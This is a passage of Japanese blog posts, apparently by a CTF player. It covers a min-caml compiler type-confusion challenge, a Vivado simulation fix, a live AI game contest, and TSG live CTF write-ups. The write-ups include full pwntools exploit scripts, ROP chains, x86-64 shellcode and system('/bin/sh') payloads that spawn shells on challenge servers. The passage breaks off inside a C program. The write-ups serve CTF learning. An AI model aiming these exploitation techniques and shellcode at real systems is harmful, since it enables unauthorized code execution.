これを用いてcreate_arrayという外部関数を誤認させます。create_arrayは、本来引数に「配列の長さ」(int)と、「初期値」 (いくつかの型（関数や配列、整数など）についてそれに対する動作が定義されている、いわゆるアドホックな多相性を保有しているが、実態は32bitの数値を受け取るような実装) の２つを受け取って、配列(初期値の型の配列型)を返すような関数です。この関数は、min-camlの実装としては直接呼ばれない想定で、Array.makeないしArray.createが、言語レベルで実装されたアドホック多相を有した関数として存在します。

今回この誤認を用いて、create_arrayを Fun((int, int), (Fun(int, int, int, int), unit)) 、すなわち、２つの整数を受け取って、「4つの整数を受け取ってunitを返す関数」を返す関数として誤認させることで、型システムを騙すことができます。このとき関数を返す関数で返される値は、上で説明したようにクロージャであることに注意が必要で、Arrayを通して一段ポインタを挟んだ状態が正しいクロージャの構造です。

簡単には

let f = create_array 1 12345678 in
f 1 2 3 4

というプログラムをmin-camlで実行したときどのような動作（セグメンテーションフォルトになると思うが）をするかを見てみると様子が分かると思います。

f:id:moratorium08:20181223201612p:plain

getsh

eipが取れればgetshをするのはそれほど難しくないです。自分の想定解では、min-camlのプログラム中にうまくコードを書くことで「int 0x80」を埋め込み、eipを奪ってそこに飛ばし、execve("/bin/sh", NULL, NULL)をする　という方針でやりました。int 0x80は、x86のアセンブリにするとcd80であり、プログラム中に即値代入としてこの値を入れるプログラムを書けば、

 277:    bb cd 80 00 00          mov    $0x80cd,%ebx

というコード片が得られるのでこれを用いればよいです。"/bin/sh"は、Arrayがheap上に確保されることを思い出せば、長さ1の配列を二個連続で確保すれば

let bin = Array.make 1 1852400175 in
let sh = Array.make 1 6845231 in

これで、ヒープの上に"/bin/sh\x00"が作られるので、binのアドレスを文字列の先頭だと考えれば、これで/bin/shが得られます。あとは、システムコールの引数として、eax, ebx, ecx, edxに値が入るようにすればよく、これは関数呼び出しで対応できます。

回答者

kcz146 さんが解いてくれました。わいわい。

writeupがあります

cookies.hatenablog.jp

実は最初は、見落とすべきでないような非想定解が存在し、二問目を出してしまいましたが、それもアツい感じで解かれました。CTF的解答という感じで面白いのでぜひ見てみてください。

非想定だったというのは簡単に言うとArrayへのアクセスの配列外参照で適当なクロージャのアドレスに飛ばすことができるようになってしまいました。これを防ぐために、二問目は配列のアクセス自体をできなくなるようにしました。

なので、上で書いた命令アドレスのリークがやや複合的になり、これはfloat_of_intの型を壊してアクセスします。タプルのアクセスは実質的にdereferenceとして機能するので、これにより、クロージャのアドレスがリークできます。

全体

let k = 32973 in
let l = Array.make 1 k in
let rec g f = f 33 in
let rec f x = x in
let l = Array.make 2 g in
let (l,_) = float_of_int l in
let (l,_) = l in
let int80 = l + g f in
let f = create_array 1 int80 in
let bin = Array.make 1 1852400175 in
let sh = Array.make 1 6845231 in
f 11 bin 0 0

二問どちらのフラグも取ることができます。

まとめ

min-camlは、程よく小さく、しかしサイズに対してはよく出来たコンパイラで、遊んでいてたのしいです。まぁしかし現実のシステムでこういう問題作りたいですね。

あと今日SECCON International Finalで、優勝しました（？）（わいわいって言いながらNIRVANAを見る係をしていた）

明日は、satos さんの「self-hosting可能なmincamlコンパイラという夢(とその進捗)」です

vivadoで、シミュレーションが動かなくなったときの最悪の場合の対処法

僕のvivado、"ハズレのVivado" っぽくて（は？）、しばしばsimulationが固まります

現状遭遇したよくわからないが動かない事例。僕の環境はUbuntu 16.04の上で動くvivado v2017.4のバージョンです。

  • moduleが存在しているのに、moduleが存在しないとなぜか言われる。synthesisはできる
  • executing analysis and compilation step から先に進まない。synthesisはできる

このとき以下のフォーラムで言われているように雑にシミュレーションの中のxil_defaultlib フォルダを削除するとなんか知らんけど動くようになります。ここらへんのファイルはなければvivadoが再生成してくれるので、まぁリセットみたいなものと理解しています（なんもわからん）。仮にこれやった結果、状況が悪化しても僕は知りません。

Re: Simulation Error: [VRFC 10-113] - Community Forums

なんもわからんが、（ぼくは）動くようにはなるので、メモをしておきます

TSG live AI コンテストの内容と感想、盤面生成に関する妄想など

この記事はTSG Advent Calendar の11日目の記事として書かれました。昨日は、Misterさんの

misteer.hatenablog.com

でした。

live AI コンテストとは

簡単な対戦型のゲームに対する思考ルーチンを書いて戦わせるコンテストです。様子は、

www.youtube.com

で見られます。今回ぼくは、作問周りを担当しました。簡単にいうと、ゲームを考えて、適当にRustで実装したら、次の日にはhakatashi という人がJavaScriptのコードにして、ビジュアライザを書いていました。人間emscripten。

お題について

お題そのものは 駒場祭2018 Live AI Contest からみることができると思います。以下引用をします

  • ゲームは、ターン制かつ攻撃側と防御側が存在する。
  • 各プレイヤーは同じ盤面から始めてそれぞれ攻撃側と防御側を一度ずつ行う。
  • 盤面の外周は壁で囲われているものとする。
  • 初期盤面では、大きさW x Hの盤面の上にはロボットといくつかの壁が配置されている。
  • ロボットの種類は、Beam, Targetであり、Beamが攻撃側、Targetが防御側に属する。
  • 各ターンごとに、プレイヤーは自分のロボットを選んで、四方の好きな方向を選び動かすことができる。
  • ロボットは、他のロボットか、壁に衝突するまで止まらずに真っ直ぐ進む。
  • ただし、Beamのロボットだけは、移動前に選んだ方向にビームを打ってから、移動をする。
  • このとき、ビームの先にTargetロボットが存在すればそのロボットは消滅する。
  • またこのビームの軌跡は盤面上に残りTargetロボットはこのBeamを超えることはできない。すなわち、Targetロボットにとっては、ビームの軌跡も壁になる。
  • また、ビーム自体は壁を突き破ることはない。
  • このビームによりすべてのTargetロボットが消滅したときに、ゲーム終了となり、攻守交代をして 同じ盤面で 再び対戦をする。
  • 300ターン後に決着がついていない場合、ゲームが終了する。
  • 自らが攻撃側の際にゲーム終了までにかかったターン数の合計がより少ないほうが勝ちである。

まぁつまり、やや雑な書き方をすれば「移動に制約がついたおいかけっこ」の攻撃側・防御側それぞれの思考ルーチンを書いて、「できるだけ速く相手を捕まえ、できるだけ相手から逃げろ」という話です。

例えば以下のような対戦がよくわかる例になります

https://raw.githubusercontent.com/moratorium08/static/master/output.gif

もととなったゲーム

実はこのロボットのうごき方は、「ハイパーロボット」 というゲームをもとにしています。もともとは、ロボットのうごきを組み合わせて「特定の場所」に移動させるゲームで、これもたのしいので、興味がある人は購入してみてください

簡単な思考ルーチン

このゲーム、ルールを見ると分かるように、攻撃側ロボットが動くと、盤面が狭まることを考えると、簡単に考えれば「攻撃側は相手の移動可能マスを狭めるように移動すればいい」ことが分かります。

すると、相手の動きはとりあえず無視して「相手の移動可能範囲」を狭めていくように探索していくとある程度勝つことができるようになります。この比較的雑な全探索があたりがコンテスト中は実装されればいいなあという気持ちがありましたが、冷静に考えて競技時間75分は短いという話があり、ややゲームが複雑過ぎた可能性があります。

また、逃げる側も「一手後に殺される数を最小化する」ようにするだけでも十分「ターン数を稼げる」ので、ここらへんを想定していました。

盤面生成

実はこのゲーム結構盤面生成が難しいです。というのも、「すべてのマスの上を攻撃側ロボットが通過可能」でなければ、安置ができてしまう可能性があるわけですが、これを保証できるようにするのは、比較的難しく、全探索できるような盤面サイズであれば攻撃側AIも全探索ができてしまうので面白くなく、また安置が無いと証明した盤面を自動で生成するのもそれなりに難しいと思われました。

例えば、雑にすべてのマスが連結（マス同士を一つ一つ移動していけばすべてのマスに移動できる）としても、例えば、初期盤面で

* *
.   
* *
x

のような盤面ができてしまうとxは.に到達ができません。

これを回避するには、次のような盤面を考え、それらをうまくつなぎ合わせるとおそらくランダムで適切な盤面の""良い近似""（雑な表現ですが）な盤面生成ができると考えられます。

  • 全探索可能な小さいサイズで、その盤面内のいくつかの点をハブとする。すなわち、ハブからその盤面内の任意の点へいけることを保証し、逆に盤面内の任意の点はハブにいけることを保証する
  • 上のルールで作った異なるサイズの盤面を組み合わせてより大きい盤面を作る。ただし、各盤面をつなぎあわせる際に盤面の少なくとも１つのハブの少なくとも一つのもう一方の盤面のそのハブとの接点となるマスが「壁」になっていない

実際のところ、盤面に傾向ができてしまうため、うまくやると、各盤面をHackして効率の良いルートが発見できるかもしれませんが、盤面の構成法を秘匿、すなわち、どれくらいのサイズのマス同士をどのように組み合わせたかを知らせなければ、Hackするのは難しいのではないかと雑に考えています。

まぁところで、盤面生成の問題を解決しなければいけないと思ったのが、コンテスト10時間前などであって、上を完全に実装するのがしんどかったため、コンテストの盤面生成に際しては、手動で目で見て「おそらく上を満たしていそうな盤面」を複数作って、それらを組み合わせて大きい盤面を作りました。悲しいですね。まぁ逆にいえば、もととなったハイパーロボットの盤面ってそうやって作られたんかな〜と妄想などをしたりしていました。

反省

おそらくライブですべての内容を完結させるには、ある程度「まとも」なゲームを考えると、普通にしんどいよなあという気持ちになりました。本質50~60行程度の思考ルーチンで、探索のしやすい構造をしたゲームないし、うまいヒューリスティクスが考えられそうなゲームで、完全に最良とは言えないが、多くの場合で最良になりそうなアルゴリズムを想定として持ったような状態で望むくらいがlive AIコンテスト的には正しい姿勢かもしれません。

感想

まぁしかし楽しかったです。気づいたらなんでも実装してくれる hakatashi さんと、catより強いAIを作ってさらに実況もしてくれたfiord くん、ありがとうございました。

明日（今日？）は、pizzacat83 さんの 「クラスSlackの話?」です。

TSG live CTF writeup - cruel dd, rop4, rop1, simple pwn, RSA modoki, repeat64, leap it, TSG shooter

この記事はTSG Advent Calendar 2018 の4日目の記事として書かれました。昨日は、taiyoslime さんの駒場祭 TSGCTF day1 Writeup でした。

僕の所属するサークル TSGが 東京大学の駒場祭というイベントにて、ライブCTFというものをしました。そのときの動画はyoutube から見れるので見てください。

この企画、1日目と3日目に2回行われていて、僕は両方に出たので、それぞれの日のwriteupを書こうと思います

1日目

1日目の方は、Web/Stego/Forensic dayで、それ系の問題を kcz146 さんが作ったわけですが、まぁ分野的ににゃーん（しんどかった）で、simqleとcruel ddという二問しか解けていません。simqleは、昨日のスライムくんの記事で十分だと思うので、めんどいしもう書きません。cruel ddは昨日のブログにはなさそうだったのでwriteupを残しておこうと思います

Cruel dd

ext2のファイルシステムは、primary superblockが壊れていても8194(8193)番目のブロックなどに、バックアップが存在します

結局のところ、これをprimary superblockにコピーしてからマウントすれば良いという話です

今回のファイルシステムの全体の大きさから考えると、1block 1024バイトだったとすると8194(8193)番目のブロックは、ファイルの外側になってしまうので、512バイトが1blockだったと推定できます。

実際8193番目のブロックを取り出してみると

0400 0000 2000 0000 0199 0000 018f 0000
0011 0000 0001 0000 0000 0000 0000 0000
1000 0000 1000 0000 0200 0000 9015 5c03
9015 5c03 0002 ffff ef53 0000 0001 0000
1bef 5be9 0000 0000 0000 0000 0001 0000
0000 0000 000b 0000 0080 0000 0038 0000
0002 0000 0003 0000 01bc e156 98e7 b440
8a89 c281 5be1 50ba 0000 0000 0000 0000
0000 0000 0000 0000 6d2f 746e 682f 676f
0065 6569 2f73 7374 2f67 6d6b 3162 2f38
6f66 2d72 7865 3274 6d2f 746e 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 003f
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 32bf 0f89
fad9 f04f 4bb4 b39d b055 40af 0001 0000
000c 0000 0000 0000 1bef 5be9 0000 0000

のようなデータがでてきて、良さそうであることがわかります。ext2では、ブロックサイズが512であっても1024であっても、とにかく1024byte目からがprimary super blockらしいので、今回は2番目のブロックに、上で手に入れたブロックを書き込めば良くて、

これをコピーすると

with open('problem.img', 'r') as f:
    dsk = f.read()
    f.seek(512 * 1)
    print(f.read(512).encode('hex'))
    f.seek(512 * 8194)
    s = f.read(512)
    print(f.read(512).encode('hex'))

    idx = 512
    with open('dump.img', 'w') as f:
        f.write(dsk[:idx * 2])
        f.write(s)
        f.write(dsk[3 * idx:])
$ file dump.img
dump.img: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=bc0156e1-e798-40b4-898a-81c2e15bba50 (large files)
$ sudo mount -t ext2 -o loop dump.img /mnt/hoge
$ cd /mnt/hoge
$ ls
0BJCq0  2zUFP9  618hYs  8SzRjh  BAqCXN  cRcuME  fyuHE8  GSVDov  japzYf  KCfhYO      NEkEt0  pVe5CV  sL8eLz  uEpZ06  w48Dn2  XgNgAN  Xu5yDV
1xGiip  4ywOPQ  7TfkLS  9mFmOX  bzpvEn  dQI4bR  g0SZSZ  ha8fEm  JnYMQr  LfApJD      nv5LoS  Q3SxM9  SQNciJ  uLlG5w  wJVWo3  XkBwxw  xvFkBG
2XzizX  5xJ6sl  8PIzdB  a0St7p  CIjr1B  fNeGvj  gQnmAC  IzjM6x  K2fbKz  lost+found  OP8MNj  rzHsxc  tkn1Cp  w1j6Po  XGFzEq  XStpXf  ycIRAo

無事マウントできる :tada:

あとは、適当にsha1sumが一致するものを探せばよく

$ sha1sum */* | grep 29e96b8528bfb561e2a3c449d08e642b441f3637
29e96b8528bfb561e2a3c449d08e642b441f3637  Q3SxM9/v3F20y.png

見つかって終わりです。 TSGCTF{Stegano_to_Forensics_ha_kamihitoe_dato_omoimasu}

day3

day3はpwn/reversing/crypto dayです。ライブ中は残念ながら二問しか解けませんでしたがそのあと他の問題もすべて解いたのでそれらのwriteupを簡単に書きます。

rop4/rop1

rop4はropをするだけなんですが、これにさらに制限がついたrop1は良い問題でした。特に、僕は、sigreturn oriented programming というものを知らなかったので、完全にROPパズルをしました。どうもrop1に関しては、想定解ではなかった（というのもrop1で動くペイロードはrop4で動くことが期待されているようだが、ROPパズルをしたので、僕の方針はrop4では動かない）ようで、多少真面目に書こうと思います。

rop4

まずrop4です。

f:id:moratorium08:20181204020707p:plain

シンプルですね。rwxな領域にデータを書き込めますが、基本的に0埋めされて、最終的に一番上の8bytesが

A
ret 
B
ret 
C
ret 
D
ret
0
...(残りは全部0埋め)

という構造になるので、まぁ愚直に考えて、A, B, C, Dにpop hogeを置いて、syscallを呼べばいいかなという気持ちになります。おあつらえ向きに最初、この領域にはpop rsiが置いてあるので、readのシステムコールの送り込み先を、この領域の頭にすることができるので、あとは頑張ってropガジェットを作るだけです

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 29000
else:
    host = "127.0.0.1"
    port = 3001

# 構造
'''
0x800000
---------
[0x402000]  ret to 0x402000
[0x402000]  pop ret -> rsi = 0x402000
>>>> Pop rax, 0x00, pop rdi, 0x00, pop rdx, 0x00 <<<<< (入力)
[0x402000] ret to 0x402000
59 (execve)  pop ret -> rax = 59
[0x402002]
/bin/sh addr (あとで決まる）rdi = “/bin/sh” addr
[0x402004]
0
[0x402006]
/binsh addr     rsi = binsh addr
[0x40013C] syscall
"/bin/sh"
'''

base = 0x402000
payload_len = 8 * 12
stack_base = 0x800000
argvaddr = stack_base + payload_len
binshaddr = argvaddr + 16
syscall = 0x40013c

read = 0x400132

payload = ''
payload += p64(base)
payload += p64(base)
payload += p64(read)
payload += p64(base)
payload += p64(59)
payload += p64(base + 2)
payload += p64(binshaddr)
payload += p64(base + 4)
payload += p64(0)
payload += p64(base + 6)
payload += p64(argvaddr)
payload += p64(syscall)

payload += p64(binshaddr)
payload += p64(0)
payload += '/bin/sh\x00'
payload += 'A' * (len(payload) - 1) #dummy


r = remote(host, port)
print('attach?')
raw_input()
r.sendline(payload)

import time
time.sleep(1)

'''

In [5]: ks.asm('pop rax')
Out[5]: ([88], 1L)

In [6]: ks.asm('pop rdi')
Out[6]: ([95], 1L)

In [7]: ks.asm('pop rdx')
Out[7]: ([90], 1L)
'''

print('ok?')
raw_input()
snd_input = '\x58\x00\x5f\x00\x5a\x00\x5e\x00'
snd_input +='A' * (len(snd_input) - 1) #dummy
r.send(snd_input)
r.interactive()

python rop4.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 29000: Done
attach?

ok?

[*] Switching to interactive mode
$ cat flag
TSG{Rop_Intr0duc71on}

rop1

さて、rop1です。今度は、

f:id:moratorium08:20181204021359p:plain

さっきの1byte書き込める領域が一つになってしまいました。こうなるとさっきの方針では、システムコールの引数を作るのは多分難しいです。実は、このropガジェット領域が無くてもいけるアツい方法でこの問題は解けるらしいですが、ぼくはもっと愚直に頑張ってROPをしました。

まずROPガジェットを眺めると

A total of 29 gadgets found.
You decided to keep only the unique ones, 26 unique gadgets found.
0x00400162: add bl, al ; mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (2 found)
0x00400136: add byte [rax+0x00000000], bh ; syscall  ;  (1 found)
0x00400134: add byte [rax], al ; add byte [rax+0x00000000], bh ; syscall  ;  (1 found)
0x00400133: add byte [rax], al ; add byte [rax], al ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400176: add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x00400138: add byte [rax], al ; add byte [rax], al ; syscall  ;  (1 found)
0x0040016d: add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400135: add byte [rax], al ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400178: add byte [rax], al ; ret  ;  (1 found)
0x0040013a: add byte [rax], al ; syscall  ;  (1 found)
0x00400173: and byte [rax+0x00], al ; add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x0040016a: and byte [rax+0x00], al ; add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400161: and byte [rax+0x00], al ; ret  ;  (1 found)
0x0040015f: and eax, 0x00402001 ; ret  ;  (1 found)
0x00400168: and eax, 0x00402002 ; add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400171: and eax, 0x00402004 ; add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x0040015d: mov byte [0x00402001], 0xFFFFFFC3 ; mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x0040016f: mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400137: mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400132: mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400130: mov esi, esp ; mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x0040012f: mov rsi, rsp ; mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400165: mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00402000: pop rsi ; ret  ;  (1 found)
0x00400164: ret  ;  (3 found)
0x0040013c: syscall  ;  (1 found)

まぁ基本的に使えそうなのはpop rsi ; retだけに思えるんですが、ところで、今回rwxとして用意されているアドレスが0x402000であったことを思い出すと、add byte [rax], al ; ret このガジェットが使えそうという気持ちになります。すなわち、rop用領域を一度pop rax; retに書き換えてから、ROPで、rax = 0x402001にして、その上でこのガジェットを大量に呼び出し続けると、0x402001の値を1ずつ加算できることが分かります。もともと0x402001はret、すなわち0xc3だったことを考えると、良い感じにほしいpop hogeとしてpop rdiが挙げられるので、156回加算をさせて、pop rdiに書き換えることができます。そうするとメモリは

pop rax
pop rdi
(以降0)

というようになり適切にretを入れるひつようがあります。これも同様にして作ればよく、0xc3は3の倍数なので、rax = 0x402003としたあとに0xc3/3回同じように足せばいいことが分かります。0x402002が0だと困るのでこれも良い感じのpop hogeを入れておきます（なんでもいいですが）。

f:id:moratorium08:20181204023108p:plain

ここまでやれば、rop4のようにexecveを呼び出すのは少し難しそうですが、mprotectを使ってstackをrwxにできればよく、（実際はlengthの値はかなり大きい値でもうごきそうだが、validなlengthに設定した上で）システムコールを呼ぶことができ、stackをrwxにすることができます。

あとは、stackにおいておいたシェルコードに飛ばせばシェルが取れます。

一つ問題としては、readで一度に読み込んでくれるサイズが0x100 bytesしかないことで、これを0x1000にするために最初に前処理を加える必要がありました（これもropで簡単にできますが）。

# coding: utf-8
from __future__ import print_function, division
from pwn import *
import time
time.sleep(1)

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 30000
else:
    host = "127.0.0.1"
    port = 3001

r = remote(host, port)
if is_gaibu:
    time.sleep(1)
else:
    print('attach?'); raw_input()

base = 0x402000
payload_len = 8 * 12
stack_base = 0x800000
argvaddr = stack_base + payload_len
binshaddr = argvaddr + 16
shellcode_addr = stack_base + payload_len
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

syscall = 0x40013c
read = 0x400132
add_byte = 0x00400178

rdx = '\x5a'
rax = '\x58'
rsi = '\x5e'

#### 事前処理 ####
payload1 = ''
payload1 += p64(base)
payload1 += p64(base)
payload1 += p64(read) # <- pop rdxにする

# rdx = 0x1000
payload1 += p64(base)
payload1 += p64(0x1000)
payload1 += p64(read) # <- pop rsiにする

payload1 += p64(base)
payload1 += p64(stack_base + len(payload1) + 16)
payload1 += p64(read)

r.sendline(payload1)
if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rdx)'); raw_input()
r.sendline(rdx)

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rsi)'); raw_input()
r.sendline(rsi)


#### main ####

# rsi = stack_base
payload = ''
payload += p64(base)
payload += p64(base)
payload += p64(read) # <- pop rdxにする
# rdx = 7
payload += p64(base)
payload += p64(7)
payload += p64(read) # <- pop raxにする

# ----ok? ----

# rax = 0x402002
payload += p64(base) # <- pop rax
payload += p64(base + 2) # 0x402002

# 0x0 -> 0x5e
payload += p64(add_byte) * (0x5e // 2)

# rax = 0x402002
payload += p64(base) # <- pop rax
payload += p64(base + 3) # 0x402002

payload += p64(add_byte) * (0xc3 // 3)

# rax = 0x402001
payload += p64(base)
payload += p64(base + 1) # 0x402001

# 0xc3 -> 0x5f(pop rdi)
payload += p64(add_byte) * 156


# pop rax, pop rdi, pop rsi, ret
payload += p64(base)
payload += p64(10)
payload += p64(stack_base)
payload += p64(1000)
payload += p64(syscall)

payload += p64(stack_base + len(payload) + len(payload1) + 8)
payload += shellcode
print(hex(len(payload)))


'''
payload += p64(binshaddr)
payload += p64(0)
payload += '/bin/sh\x00'
payload += 'A' * (len(payload) - 1) #dummy
'''


if is_gaibu:
    time.sleep(1)
else:
    print('ok?(payload)'); raw_input()
r.sendline(payload)


'''

In [5]: ks.asm('pop rax')
Out[5]: ([88], 1L)

In [6]: ks.asm('pop rdi')
Out[6]: ([95], 1L)

In [7]: ks.asm('pop rdx')
Out[7]: ([90], 1L)
'''

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rdx)'); raw_input()
r.sendline(rdx)

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rax)'); raw_input()
r.sendline(rax)

r.interactive()

python rob1.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 30000: Done
0x90b
[*] Switching to interactive mode
$ cat flag
TSG{Y0u_4re_ropro}

simple pwn

やるだけです。ぼくはcat hoge | nc ...としていて、自分の読み込みが続かないことに20分くらい気づいていませんでした。悲しいね。

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 28000
else:
    host = "127.0.0.1"
    port = 3001

r = remote(host, port)
hoge = "ABCDEFGH"

system = 0x4004f0
pwd = 0x4007F5
binsh = 0x4007ED
hoge += p64(binsh)
hoge += p64(binsh)

hoge += (p64(system) + p64(binsh)) * 20

r.recv()
r.sendline(hoge)
r.interactive()

python solve.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 28000: Done
[*] Switching to interactive mode

ls
/bin/sh
pwd
and so on.
I will execute system("ls").
By the way, what's your name?
Hello ABCDEFGH�@
$ ls
flag
simplepwn
$ cat flag
TSG{Off_8y_0n3_1s_d4ng3r0u5}

RSA modoki

メッセージM, 公開鍵(e, N)に対して、

M^{e}mod N以外に、M, e, Nの重複組み合わせ(x1, x2, x3)に対して、x1^{x2}mod x3 が与えられるので、もとのメッセージを取り戻せという問題。

僕の方針は、M^{N}mod NとM^{e}mod Nに着目して、M^{e}mod Nから、Nを超えないようにN/eなる整数乗したとき、その逆元をM^{N}mod Nにかけたとき、M^{e}mod Nより小さいMの冪剰余が求まる。これを繰り返すという方針でやりました。以下がスクリプトです

from sage.all import *


Me = 4771927438269424617086864460427588927685968858772596529925425864827379896120677342742544705865325883178283881689067789633920046347508567495924928993205540902876922908440835891794350653124131548580661948466506456392406029257687330446439161784875061465249413422800555353575612039509318856082060867757527082999381382681891237917271888271811174085782976219225579510987322716658924425698600376008615787939852778696573220276869519135449197608289861125272164118208894871433095276157997819910533132370122315968610259885729508236467084582361328809053764435348792246127993087255786213328761410986229939118402787033699953785746
MN = 2705635819291353775853988251362403726882498874885389969416192625721003893762024008475144952793087638197473000259478395279558522609053080649616378945598157888081781184041761090892659996067449429721031367737633819648219255740636729108126622231032083738015194936402275715743952757447126135118415153697983971640544815760617119097009648465887032148606416028076780826062041413992737147902683974049281523412484290551752851064753504393948347489634682526224667317363112784571286702941321430018642062955630644754763642699174552713371624742888761597132517522186042726776731080342073756121029029595139976395043091228836743667745


N = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373
e = 65537


a = MN
b = Me

an = N
bn = e

while True:
    x = pow(b, an // bn, N)
    xi = inverse_mod(int(x), N)
    tmp = (a * xi) % N

    a = b
    b = tmp

    tmp = an % bn
    an = bn
    bn = tmp
    if bn < 1:
        break
print hex(a).decode('hex')

TSG{The_m0r3_d4ta_you_have_7he_ea5ier_you_d3c0de}

Repeat64

メッセージMのbase64を10回くらいして得られた文字列の各バイトに対して、確率0.5で下位1bitを反転するという操作をされた文字列が与えられるので、もとの文字列を取り戻せという問題

これは、単純に前からk文字目までのメッセージが求まっているとき、k+1文字目とk+2文字目を全通り試して、長さk+2の文字列を上の変換をかけて得られた文字列の一致率がもっとも高いものを選ぶ　というのを繰り返していけば良い。もっともぼくがやったときは、思考が停止していたため、k+1, k+2, k+3, k+4の4文字からk+1, k+2, k+3の3文字を決定するという計算量が大きいことをしてしまった。以下がそのスクリプト

import base64
ok = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

target = "Vl0vd2QyTXlVWFxYYUGwT1[r[GOkSm[1TVZOV10VbEOYa2L1VjKJRFVGWm[NajDxWjBaR3LySjWTbGinTWhCUVZucDd[V1KIVlusalKt`F8UW2N3[TZaeD0UTlSNazE1Wke1c3FGSoNkSEJXTUdRelmpRluXR0KITmxvW01DSUBVa2LxWkKGW0OuTlZhdmyYWWynU00xVoNXbXSXUjGKRWVteFOhVmqxV1ivW0KrbGhW`jZhZDZObmqF`GhmbXhZV1ZkLFQxUnNWcmKsTkB`cWlraENSbFqY[TZOaG[scHmWLWJHWkFaRlduWlFSRYBHVWqGU3SVVoNUcWisYlinVF[tMTCWMT05WWtj`lJuUlmZbF[hVjZ`eFRHZGyVbGw1VmWWU0XvLXKW`k5aTU[wWG[qRlGVLk5IWF0FT1JVbEWWbGP1TUG`Vk1VWk4RSDE5"

class S:
    def __init__(s, l):
        s.l = l

base = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_'

def gen2():
    l = []
    for c in base:
        for d in base:
            l.append(c + d)
    return l
def gen3():
    l = []
    for c in base:
        for d in base:
            for e in base:
                l.append(c + d + e)
    return l
def gen4():
    l = []
    for c in base:
        for d in base:
            for e in base:
                for f in base:
                    l.append(c + d + e + f)
    return l


def enc(x):
    for i in range(10):
        x = base64.b64encode(x)
    return x


s = 'TSG'

k = '{'

l = gen3()
mx = 0
result = ''
hoge = []
for t in l:
    x = enc(s + k + t)

    score = 0
    for (i, c) in enumerate(x[:-20]):
        if target[i] == c or chr(ord(target[i]) ^ 1) == c:
            score += 1

    hoge.append((score, t))

r = list(reversed(sorted(hoge, key=lambda x:x[0])))[:10]
print(r)
s = s + k + r[0][1][:-1]

l = gen4()
for i in range(4):
    mx = 0
    result = ''
    hoge =  []
    for t in l:
        x = enc(s + t)

        score = 0
        for (i, c) in enumerate(x[:-20]):
            if target[i] == c or chr(ord(target[i]) ^ 1) == c:
                score += 1

        if score > mx:
            mx = score
            result = t[:-1]
            print(mx, result)
            if (len(x[:-20]) == score):
                break
    s += result
    print(r)
    print(mx, s)

k = '}'
l = gen2()
mx = 0
result = ''
hoge = []
for t in l:
    x = enc(s + t + k)

    score = 0
    for (i, c) in enumerate(x):
        if target[i] == c or chr(ord(target[i]) ^ 1) == c:
            score += 1

    if score > mx:
        mx = score
        result = t
    hoge.append((score, t))
s += result
r = list(reversed(sorted(hoge, key=lambda x:x[0])))[:10]
print(r)

s += result + k

print(mx)
print(s)

print(result)

TSG{Ba5e64_1s_r0bus7}

Leap It

C言語のQuineっぽい何かが与えられる。これを作るのがしんどそう。ところで、フラグの文字列の場所だけが、一度実行するごとにずれていく。1000000回実行するとフラグにたどり着くようだが、意外とコンパイルは時間がかかるので終わらない。

まぁ結局の所、これはフラグが書き換わる部分だけをシミュレートするプログラムを書けば良い

#include <stdio.h>
#include <stdlib.h>
#define FLAGLEN 17

unsigned int iv = 1337;
unsigned int cnt = 1000000;
unsigned char flag[FLAGLEN+1] = {
    52, 236, 200, 230, 31, 172, 21, 5, 242, 126, 235, 174, 32, 145, 4, 88, 54, 0
};

